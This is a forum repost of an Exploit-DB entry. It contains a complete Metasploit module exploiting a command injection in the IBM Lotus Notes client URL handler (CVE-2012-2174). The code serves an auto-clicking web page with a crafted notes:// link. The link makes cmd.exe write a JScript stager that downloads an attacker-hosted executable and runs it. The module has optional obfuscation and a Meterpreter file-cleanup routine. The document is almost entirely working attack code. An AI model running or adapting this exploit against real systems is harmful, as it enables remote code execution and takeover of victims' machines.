Exploit IBM Lotus Notes Client URL Handler - Command Injection (Metasploit)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
23650
Проверка EDB
  1. Пройдено
Автор
METASPLOIT
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2012-2174
Дата публикации
2012-12-25
Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info={})
		super(update_info(info,
			'Name'           => "IBM Lotus Notes Client URL Handler Command Injection",
			'Description'    => %q{
					This modules exploits a command injection vulnerability in the URL handler for
				for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with
				an specially crafted notes:// URL to execute arbitrary commands with also arbitrary
				arguments. This module has been tested successfully on Windows XP SP3 with IE8,
				Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Moritz Jodeit', # Vulnerability discovery
					'Sean de Regge', # Vulnerability analysis
					'juan vazquez' # Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2012-2174' ],
					[ 'OSVDB', '83063' ],
					[ 'BID', '54070' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-154/' ],
					[ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ],
					[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ]
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500
				},
			'DefaultOptions'  =>
				{
					'EXITFUNC'         => "none",
					'InitialAutoRunScript' => 'migrate -k -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jun 18 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)
	end

	def exploit
		@exe_name = rand_text_alpha(2) + ".exe"
		@stage_name = rand_text_alpha(2) + ".js"
		super
	end

	def on_new_session(session)
		if session.type == "meterpreter"
			session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
		end

		@dropped_files.delete_if do |file|
			win_file = file.gsub("/", "\\\\")
			if session.type == "meterpreter"
				begin
					wintemp = session.fs.file.expand_path("%TEMP%")
					win_file = "#{wintemp}\\#{win_file}"
					# Meterpreter should do this automatically as part of
					# fs.file.rm().  Until that has been implemented, remove the
					# read-only flag with a command.
					session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
					session.fs.file.rm(win_file)
					print_good("Deleted #{file}")
					true
				rescue ::Rex::Post::Meterpreter::RequestError
					print_error("Failed to delete #{win_file}")
					false
				end

			end
		end

	end

	def on_request_uri(cli, request)

		if request.uri =~ /\.exe$/
			return if ((p=regenerate_payload(cli))==nil)
			register_file_for_cleanup("#{@stage_name}") unless @dropped_files and @dropped_files.include?("#{@stage_name}")
			register_file_for_cleanup("#{@exe_name}") unless @dropped_files and @dropped_files.include?("#{@exe_name}")
			data = generate_payload_exe({:code=>p.encoded})
			print_status("Sending payload")
			send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
			return
		end

		my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		if datastore['SSL']
			schema = "https"
		else
			schema = "http"
		end
		uri = "#{schema}://#{my_host}"
		uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.exe"

		script = "var w=new ActiveXObject('wscript.shell');"
		script << "w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');"
		script << "var x=new ActiveXObject('Microsoft.XMLHTTP');"
		script << "x.open('GET','#{uri}', false);"
		script << "x.send();"
		script << "var s=new ActiveXObject('ADODB.Stream');"
		script << "s.Mode=3;"
		script << "s.Type=1;"
		script << "s.Open();"
		script << "s.Write(x.responseBody);"
		script << "s.SaveToFile('#{@exe_name}',2);"
		script << "w.Run('#{@exe_name}');"

		vmargs = "/q /s /c echo #{script} > %TEMP%\\\\#{@stage_name}& start cscript %TEMP%\\\\#{@stage_name}& REM"

		link_id = rand_text_alpha(5 + rand(5))

		js_click_link = %Q|
		function clickLink(link) {
			var cancelled = false;

			if (document.createEvent) {
				var event = document.createEvent("MouseEvents");
				event.initMouseEvent("click", true, true, window,
					0, 0, 0, 0, 0,
					false, false, false, false,
					0, null);
				cancelled = !link.dispatchEvent(event);
			}
			else if (link.fireEvent) {
				cancelled = !link.fireEvent("onclick");
			}

			if (!cancelled) {
				window.location = link.href;
			}
		}
		|

		if datastore['OBFUSCATE']
			js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link)
			js_click_link.obfuscate
			js_click_link_fn = js_click_link.sym('clickLink')
		else
			js_click_link_fn = 'clickLink'
		end


		html = <<-EOS
		<html>
		<head>
		<script>
		#{js_click_link}
		</script>
		</head>
		<body onload="#{js_click_link_fn}(document.getElementById('#{link_id}'));">
		<a id="#{link_id}" href="notes://#{rand_text_alpha_upper(3+rand(3))}/#{rand_text_alpha_lower(3+rand(3))} -RPARAMS java -vm c:\\windows\\system32\\cmd.exe -vmargs #{vmargs}"></a>
		</body>
		</html>
		EOS

		print_status("Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})

	end

end
 
Источник
www.exploit-db.com

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